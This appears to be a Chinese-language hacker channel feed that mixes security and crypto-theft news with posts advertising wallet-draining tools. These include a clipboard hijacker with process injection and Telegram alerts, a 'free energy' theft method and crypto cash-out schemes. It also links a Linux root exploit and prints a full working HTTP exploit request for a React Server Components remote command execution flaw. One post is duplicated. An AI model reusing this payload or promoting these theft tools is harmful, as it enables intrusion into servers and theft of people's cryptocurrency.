暗流涌动|黑客渗透资源hub

已更新总结，新增免费能量盗U和IOS漏洞盗U

剪贴板安全测试工具，带后台，支持进程注入，telegram通知。 #工具 #盗u #精品

剪贴板安全测试工具，带后台，支持进程注入，telegram通知。 #工具 #盗u #精品

链上USDT冻结监控预警，区块链生态观察频道 @usdt_black_tg

全球最大交易所币安被入侵，约63亿资产被盗 初步调查显示，此次安全事件可能涉及一名开发运维工程师的笔记本电脑被入侵，致使攻击者得以访问某个服务容器并提交未经授权的提现交易。 此次事件造成的总影响估计约为63亿美元。目前已在链上冻结约30亿美元。 在完成安全检查期间，已暂停充值和提现 #币安

PHP 官方已发布高危漏洞补丁！ CVE-2026-109618（OOM 状态破坏）、CVE-2026-109619（跨请求陈旧全局态 UAF） 漏洞可造成远程代码执行，这是 PHP 近年来最严重的漏洞 PHP-8.1: https://github.com/php/php-src/tree/PHP-8.1-CVE-2026-109618-109619 PHP-8.0: https://github.com/php/php-src/tree/PHP-8.0-CVE-2026-109618-109619 PHP-7.4: https://github.com/php/php-src/tree/PHP-7.4-CVE-2026-109618-109619 #php #rce

🪙泰达冻结 Xinbi （新币担保）有关地址3,927万USDT 最近根据区块链安全平台 漫雾科技 MistTrack 的链上监测，Tether 在数小时前冻结了 TRON 网络上 10 个地址，合计约 3,927 万枚 USDT， 这些地址被标记为与新币担保有关。 泰达Tether 今年 4 月官方称： 已经与 65 个国家的 340 多个执法机构合作， 累计参与超过 2,300 起案件，冻结资产超过 44 亿美元。 很多人还不知道，目前规模最大的稳定币USDT USDC都是能被冻结的， 预计市场下一步会向匿名币，去中心化稳定币进一步发展。 #usdt

Tornado Cash 域名过期被攻击者控制，千万美元资产被盗 Tornado Cash 是一个运行在以太坊上的去中心化、非托管加密货币混币协议。它通过零知识证明技术，切断链上存款地址与取款地址之间的可追踪关联，从而为用户提供交易隐私保护。 时间线梳理 2022 年 8 月：Tornado Cash 被 OFAC 制裁，原官方域名被关停，团队无法正常续费和维护。 2024 年中：WHOIS 历史显示域名进入赎回期/持有状态，所有者显示为 “We Are QA” 相关隐私保护。 2025 年 3 月 25 日：当前注册记录显示域名被重新注册，到期日 2027 年 3 月 25 日，注册商为 TLD Registrar Solutions Ltd.，使用隐私保护。这是攻击者接管的关键时间点。 2026 年 6 月前后：已有社区成员公开指出 tornado[.]cash 已被攻击者控制。 2026 年 8 月 18–20 日：大规模事件被曝光约 1,010 ETH 被盗，据统计过去约 12 个月内通过类似手法窃取近 4,000 ETH。 #tornado_cash #区块链

加密货币资金安全回国方案 #出金 #usdt

最新Linux 提取漏洞，通杀近十年来几乎所有发行版 Copy Fail (CVE-2026-31431) Linux 内核的身份验证和加密模板中存在一个逻辑漏洞。该漏洞允许非特权本地用户触发对系统上任何可读文件的页面缓存进行确定性的、可控的 4 字节写入。一个 732 字节的 Python 脚本即可编辑 setuid 二进制文件，并在 2017 年以来发布的几乎所有 Linux 发行版上获取 root 权限。 EXP: https://github.com/theori-io/copy-fail-CVE-2026-31431 #0day #LPE #linux

突发! Trust Wallet浏览器插件出现后门代码，千万资产被盗 Trust Wallet加密货币钱包的浏览器扩展2.68版本中新增了一段后门代码，会发送用户助记词到攻击者服务器，由于自动更新机制，影响范围非常广。12月25日圣诞节，攻击者开始转移资金，根据目前统计估计有超过千万美元资产被盗。目前最新版 2.69已移除后门代码。 有资产被盗的用户，可立即联系Trust Wallet官方团队进行索赔处理。 #trust_wallet

手机连接可疑设备可能导致财产损失 视频内容真实性目前存疑，疑似连接并信任恶意设备后，攻击者可直接控制钱包 #盗u

最新0day CVE-2025-55182 React Server Components远程命令执行，10分高危漏洞，影响范围非常广

POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

参考链接 #cve #0day

代理工具 Clash Verge 客户端出现新的 1-Click 远程代码执行漏洞，访问特制的恶意网页即可触发本地文件写入，进一步利用各种软件的插件加载机制将文件写入扩展至 REC 漏洞。 该漏洞影响 Clash Verge 最新版 (v2.2.4 alpha)，漏洞原因则是 Clash Verge Rev 的默认配置问题，在默认配置下，客户端会在本地 127.0.0.1:9097 开启一个未经验证的 API 服务接口，该接口还存在 CORS 跨域资源共享问题。 当用户运行并打开特制的恶意网站时，网站代码可以和这个 API 通信并修改 Clash 核心的配置文件，通过配置文件中的特定字段绕过路径检查实现本地写入，再利用插件机制部署插件后实现后阶段的 RCE。 临时修复方法： 打开 Clash Verge 点击设置、Clash 设置、外部控制、添加密码验证。 来源：蓝点网 #clash #rce

📣 Telegram正处于"严打"时期 最近几个月，Telegram中有大量群组，频道被封禁。其中大部分被封禁的群组和频道都是涉及灰黑产相关产业。大部分封禁由AI智能识别内容导致，由于是AI识别，哪怕是转发消息，也可能导致被封禁。 本周灰产圈更是迎来一次标志性事件：Telegram突然加大力度， 对“汇旺”与“新币”数百个中文担保相关频道、导航群、担保公群实施大规模封禁，波及面广、力度空前。多位管理员账号也一并被封，并且由NFT购买的用户名也一并被封禁。此次封禁并非用户举报所致，而是平台的定向清理。

汇旺方面已在群内发布通知，称“公群业务已全部终止”，将公群业务转移新身份下继续运作，但平台数据和信任链受损严重，是否能延续尚未可知。 新币团队则似乎选择了另一条路径。有用户注意到，近期一个名为 SafeW 的新IM上线，UI接近Telegram，并且还据称支持nft用户名功能，定位为独立通信与业务撮合平台，疑似由原新币技术团队主导搭建。目前该平台尚在小范围测试阶段，尚未见大范围宣传。 ⚠️ 一个信号：平台依赖的代价 这不是Telegram第一次大规模清理担保相关频道。只是过去数年，所有担保体系几乎全都“寄生”在Telegram生态，工具、信用体系和用户运营都高度依赖Telegram。一旦平台出手，影响不亚于行业“断电”。

#担保 #灰黑产

📣 Telegram正处于"严打"时期 最近几个月，Telegram中有大量群组，频道被封禁。其中大部分被封禁的群组和频道都是涉及灰黑产相关产业。大部分封禁由AI智能识别内容导致，由于是AI识别，哪怕是转发消息，也可能导致被封禁。 本周灰产圈更是迎来一次标志性事件：Telegram突然加大力度， 对“汇旺”与“新币”数百个中文担保相关频道、导航群、担保公群实施大规模封禁，波及面广、力度空前。多位管理员账号也一并被封，并且由NFT购买的用户名也一并被封禁。此次封禁并非用户举报所致，而是平台的定向清理。

汇旺方面已在群内发布通知，称“公群业务已全部终止”，将公群业务转移新身份下继续运作，但平台数据和信任链受损严重，是否能延续尚未可知。 新币团队则似乎选择了另一条路径。有用户注意到，近期一个名为 SafeW 的新IM上线，UI接近Telegram，并且还据称支持nft用户名功能，定位为独立通信与业务撮合平台，疑似由原新币技术团队主导搭建。目前该平台尚在小范围测试阶段，尚未见大范围宣传。 ⚠️ 一个信号：平台依赖的代价 这不是Telegram第一次大规模清理担保相关频道。只是过去数年，所有担保体系几乎全都“寄生”在Telegram生态，工具、信用体系和用户运营都高度依赖Telegram。一旦平台出手，影响不亚于行业“断电”。

#担保 #灰黑产

Telegram漏洞被披露，可导致安装恶意软件 攻击者可以将恶意 APK 伪装成视频。它仍未打补丁，可在 Android 11.7.4 版 Telegram 上运行。甚至有证据表明，它已在地下论坛上出售，供人们随意使用，并可用于安装间谍软件、勒索软件和其他恶意软件。 #telegram

新年到，AdsPower浏览器用户有福了 最近，不少AdsPower用户突然发现自己的浏览器加密货币钱包被盗了，目前已有数百万美元的资产被盗取。官方才姗姗来迟来披露是自家产品被植入了后门，会通过自动更新，替换掉浏览器扩展中的关键文件，导致助记词泄露。 #后门 #钱包 #adspower